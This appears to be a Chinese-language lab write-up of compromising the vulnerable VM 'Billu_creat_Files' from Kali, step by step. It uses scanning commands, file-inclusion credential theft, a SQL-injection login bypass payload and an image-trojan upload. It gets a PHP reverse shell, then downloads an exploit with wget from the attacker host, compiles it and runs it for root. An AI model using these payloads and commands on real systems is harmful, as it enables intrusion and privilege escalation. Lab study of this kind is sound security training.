目錄
1. 查看Kali的IP信息;(IP:192.168.37.131)
一. 實驗環境
- 靶機:Billu_creat_Files,IP地址暫時未知;
- 測試機:Kali,IP地址:192.168.37.131;
- 測試機:物理機win7;
二. 實驗流程
- 信息收集——主機發現
- 信息收集——端口掃描
- 滲透測試
三. 實驗步驟
(一)信息收集——主機發現
1. 查看Kali的IP信息;(IP:192.168.37.131)
2. 掃描主機(netdiscover)
netdiscover -i eth0 -r 192.168.37.0/24
Netdiscover: -i 指定網卡 -r 指定網段
(二)信息收集——端口掃描
1. 掃描端口(masscan)
masscan --rate=10000 --ports 0-65535 192.168.37.147
掃描發現目標開放了22,80端口;
2. 詳細掃描端口信息(nmap)
nmap -T4 -sV -O -p 22,80 192.168.37.147
22(ssh),80(http);
(三)滲透測試
80端口(http服務)
1. 訪問目標靶機的80端口
1.1> 查看http服務首頁信息;
http://192.168.37.147
1.2> 嘗試使用弱口令登錄;
登錄失敗;發現該登錄頁面沒有驗證碼和登錄次數的限制,可以嘗試使用暴力破解;
2. 網站目錄掃描(dirb)
dirb http://192.168.37.147
嘗試拿大字典掃描
3. 查看掃描到的網站目錄
3.1> http://192.168.37.147/add
3.2> http://192.168.37.147/in
3.3> http://192.168.37.147/phpmy
發現了一個數據庫的登錄頁面;
3.4> http://192.168.37.147/test
- 抓取到的包爲get方式,網站頁面的傳輸方式爲post方式;
- BurpSuite右鍵有一個可以直接該request method的按鈕!
- 發現存在文件包含;
3.5> 包含index.php進來,發現包含了兩個頭文件;
3.6> 包含head.php
3.7> 包含c.php;
- 查詢到了連接數據庫的用戶名billu,密碼b0x_billu;
- 最後一個參數ica_lab是數據庫的名稱;
4. 登錄數據庫;
4.1> 使用獲取到的賬戶和密碼登錄數據庫;成功登錄;
4.2> 發現有兩張表,一張是Mysql自帶的information_schema,一張是ica_lab,在ica_lab數據庫中有一個表是auth(認證的簡寫),查看該表中的內容 ,猜測應該是openssh密碼或者前面的web登錄密碼.;
用戶名:biLLu,密碼:hEx_it
4.3> 嘗試登錄ssh;失敗;
4.4> 嘗試登錄web的主頁;成功登錄;
發現這個頁面可以add user,上傳圖片,我們嘗試進行上傳;
5. 方式2:SQL注入繞過登錄;
5.1> 用test.php去包含首頁登錄的index.php,進行sql注入繞過;
sql注入一個重要的原則就是閉合輸入查詢,str_replace的作用是將字符串' 替換爲空,因此構造SQL注入登錄payload時,必須含有'字符串,urldecode的作用是將輸入解碼。
5.2> SQL注入語句閉合繞過登錄;
'or 1=1-- -\'
成功繞過登錄;
6. 上傳圖片木馬;
6.1> 上傳圖片木馬;
成功上傳上去圖片木馬;
6.2> 使用中國菜刀查看;
菜刀連接失敗;因爲上傳文件是post方式;不是get方式
7. 反彈shell;
7.1> 將Kali中的php-reverse-shell.php複製到物理機上重命名爲gou.php,並修改其中的ip和監聽的端口;
7.2> 合成新的圖片Jack.jpg;
7.3> 上傳jack.jpg;
7.4> 在瀏覽器中加載hackbar插件;並在Kali上監聽端口,執行;
7.5> 在Kali上查看監聽的端口,成功獲取webshell;
成功獲取到webshell;
8. 提權
8.1> uname -a
和cat /etc/issus
查看系統的版本信息和內核
爲:Ubuntu 12.04.5 LTS、Linux indishell 3.13.0-32-generic
8.2> python -c ‘import pty;pty.spawn(“/bin/bash”)’
將shell轉換爲交互式的tty;
8.3> 在Kali中搜索版本的漏洞;
searchsploit ubuntu 12.04
8.4> 下載exp到靶機的/tmp目錄下,並執行;(注:如下終端產生了雙寫,可以多嘗試幾次獲取shell)
wget http://192.168.37.131/37292.c
8.5> 編譯並執行;
gcc -pthread 37292.c -o exp -lcrypt #編譯
./exp #執行
成功提權到root;
9. 方式2獲取shell並提權
9.1> 查看phpmyadmin的默認的配置文件內容;
- 一般來說,配置文件都是裏面都是很重要的信息,phpmyadmin的默認的配置文件是:
config.inc.php
;
- 在linux主機的apach中猜測路徑默認在
/var/www/phpmy
下面;- 所以,我們可以採用POST模式包含該配置文件,通過文件包含,讀取config.inc.php文件;
- 發現了root賬戶和對應密碼:roottoor;
9.2> 嘗試遠程連接ssh;
直接獲得root權限;
10. 留後門,清痕跡;
四. 實驗總結
- 存在文件包含漏洞,對其進行利用(可獲取很多信息)
- 掃描出的文件對其進行訪問抓包,獲取到用戶名密碼等有用信息
- 在phpmyadmin數據庫中可獲取很多有用信息,phpmyadmin的默認的配置文件是:
config.inc.php
;
- 查詢版本信息(也可以使用 lsb_release -a );